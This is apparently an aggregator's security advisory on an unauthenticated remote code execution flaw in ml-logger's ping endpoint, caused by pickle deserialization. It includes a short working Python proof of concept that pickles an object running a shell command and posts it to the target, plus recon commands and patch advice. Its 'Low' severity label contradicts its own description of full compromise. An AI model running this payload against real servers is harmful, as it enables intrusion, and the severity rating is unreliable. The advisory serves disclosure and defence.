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The vulnerability exists in the `log_handler` function within the `ml_logger/server.py` file, specifically in the Ping Handler component. The function insecurely deserializes user-supplied input from the `data` argument using the `pickle` module. When a malicious actor sends a specially crafted serialized object (pickle payload) to the vulnerable ping endpoint, the server deserializes it without any restrictions. This uncontrolled deserialization process allows for the execution of arbitrary code on the server by instantiating objects defined within the malicious payload. The attack is remote and requires no authentication, making the server susceptible to complete compromise if a viable exploit payload is delivered.
Platform: ml-logger
Version: <=0.10.36
Vulnerability: Deserialization
Severity: Low
date: 2025-09-25
Prediction: 2025-10-09
What Undercode Say:
pip freeze | grep ml-logger cat ml_logger/server.py | grep -A 10 -B 5 "log_handler"
import pickle
import requests
class Exploit:
def <strong>reduce</strong>(self):
import os
return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(Exploit())
requests.post("http://target:8080/ping", data=payload)
How Exploit:
Attacker sends malicious pickle payload to /ping endpoint. Server deserializes payload, executing arbitrary system commands with server privileges.
Protection from this CVE
Update ml-logger to a version beyond 0.10.36. If no patch is available, avoid using pickle for deserializing untrusted data; implement input validation or use safe serialization formats like JSON.
Impact:
Remote Code Execution (RCE) leading to full compromise of the server hosting the vulnerable ml-logger instance.
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Sources:
Reported By: github.com
Extra Source Hub:
Undercode
